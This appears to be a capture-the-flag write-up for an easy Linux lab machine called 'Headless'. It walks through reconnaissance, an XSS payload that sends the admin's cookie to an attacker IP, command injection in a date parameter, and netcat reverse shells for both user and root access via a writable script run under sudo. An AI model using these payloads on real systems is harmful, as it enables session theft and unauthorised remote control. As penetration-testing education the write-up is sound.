Machine Details

OS: Linux

Difficulty: Easy

Dashboard: Headless

Recon

Nmap Scan

Findings

• The scan reveals two open ports

  • Port 22 - Running SSH (usually boring and a rabbit hole)

  • Port 5000 - Interesting! It's running a Werkzeug Server with Python

  • Versions of all these software are disclosed and can be used for CVE Hunting 🙌

• Port 5000 is a Universal Plug and Play (UPnP), we could look for exploits for open UPnP Ports,

• We also see a cookie being set is_admin, this could be used for accessing any admin subdomains or directories, if the authentication is managed via Cookies

Visit the Website

On clicking For Questions we are taken to the /support directory, which has a Support form.

Findings

• An interesting thing to note, the website is still in Development, this could mean unprotected directories, backups, and juicy logs.

• Using Wappalyzer, we could detect that we are using Flask 2.2.2, another tool that we can use to find exploits for.

• It also seems like Customer Support is the only functionality that seems to be active.

Information Gathering

Directory Enumeration

Seems like we detected a Dashboard, let's visit it

Okay, we found an admin dashboard, which we cannot access 😐

Findings

• Using FFuF we were able to detect a Dashboard page.

• Accessing the Dashboard is restricted to only the Admin, we didn't find any login or authentication flow, that could allow us to gain admin access.

• We did, however, come across is_admin a cookie being set, this could be how the application is checking if a user is an admin.

Closer look at Customer Support

Since Customer Support is the only seemingly active functionality, this could mean something. Let's try some random Inputs in the Support request.

Oops! Seems like we were detected and we can't send anything malicious, in the Support Message.

Findings

• Our "Hacking Attempt" was Detected, huh, quite unusual to see this.

• An interesting point to note is the message above the request

A report with your browser information is sent to the Administrator for investigation

• This means that we can send data to the System Admin, the same Admin, who would have the Admin Token for the cookie value.

• If only there was a way to Steal their Cookies....🤔

Checking for CVEs

We found multiple Software installed on this system, with their version numbers, so lets Google Exploits for them (excluding SSH, since it is usually not the way in)

• Werkzeug 2.2.2 - Most likely

• Flask 2.2.2 - Likely

• Python 3.11.2 - Least Likely

Werkzeug 2.2.2

• Werkzeug is a Python package, with an interactive debugger.

• This seems interesting, as we previously confirmed that the Website is still under development and might have the debugger turned on.

• We found an exploit that can perform an RCE if flask is in the Debug Mode.

• We can skip looking at exploits for Flask and Python, as this seems to be way in.

Exploitation

We currently have more than one way to start our exploitation

Approach 1: Gaining RCE by exploiting the Werkzeug Package

Approach 2: Try and Steal the Admin Cookie

Debugging RCE

Using the Exploit, we were not able to exploit, as Debugging was not enabled 😥

Steal from the Admin

Since we need to steal cookies from the admin, we could exploit a potential XSS Vulnerability on the system to exfiltrate these cookies.

We came to access this simple article for Stealing cookies using XSS. tl;dr

Payload:

<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>

Here we have used the btoa() method for converting the cookie string into a base64 encoded string.

Listener Server:

python3 -m http.server -m 80

Also, Remember this A report with your browser information is sent to the Administrator for investigation

So we need to send our payload to two places:

1. Message Parameter: This triggers the detection and sends our request to the Admin

2. User-Agent Parameter: This will be sent to the Admin, and should trigger the XSS on the Admin's System

Since we need to update the request, let's fire up BurpSuite

And Vola! We get a response on our Listener, which contains the Admin Token

Decoding the token from base64

We can update this value in the is_admin cookie, using either inspect element or a cookie editor.

And there we Go! Admin Dashboard!

Findings

• The Debug Approach was an interesting rabbit hole, but an approach worth giving a shot.

• Reading the Hacking Attempt Warning was quite helpful in understanding how could one retrieve the Admin Token.

Privilege Escalation

User Level Access

Let's explore the Admin Functionality, using Burp, and we see, that we can perform command injections, in the date parameter.

We can verify this by trying the payload and listing files using ls

date=2023-09-15;ls

Since we can execute commands, let's try something more powerful, how about a reverse Netcat connection?

Payload:

date=2023-09-15;nc -e /bin/sh <ListenerIP> <ListenerPort>

And there we go, we received a connection on our listener, and we have successfully gained USER LEVEL Access

Findings

• We were able to find the RCE in the date parameter that allowed us, to create a reverse shell using Netcat.

Root Level Access

The first thing we can look for is, if this user has any elevated permissions, we can check this by using the command sudo -l

We see that the user can execute the /usr/bin/syscheck with root privileges

Let's check what is this file

We notice that the file runs a bunch of things, but interestingly, it also triggers initdb.sh which is stored in the user's folder and can update this file.

So this means we can perform operations with elevated permissions using these files, Let me explain

• initdb.sh, can be updated by User, and is also triggered by syscheck, with elevated privileges.

• The user also can trigger sycheck with elevated privileges.

• Any new process spawned by initdb.sh would have elevated access.

Let's update initdb.sh to establish a reverse connection using Netcat to us, this connection would be created as a root process, giving us root access.

Payload

echo "nc -e /bin/sh <ListenerIP> <ListenerPort>" > initdb.sh
chmod +x initdb.sh #To ensure, initbd.sh can be executed

You can now trigger syscheck as sudo.

sudo /usr/bin/syscheck

And we have now grained ROOT LEVEL Access.

Findings

• It was due to the elevated permission to run a script file as root, that acted as the perfect vulnerability to exploit.

• Checking the files that exist in the user directory, or the files that the user has access to, helped us identify initdb.sh the file that could be used to create a shell.

Learnings

• It's always a good practice to keep multiple approaches at one's disposal, this was quite an easy rabbit hole, that got me hyped up, pretty early on.

• Always make it a point to check for Permissions that the user has, and look for any elevated permissions that can be used further to exploit.

• A good idea to look and understand how a system responds and do not assume anything as expected, read alerts and responses.

• Reading code files does come in handy at times, as in this case, you could always use ChatGPT to understand it better.

• BurpSuite just makes life easy, and hacking easier.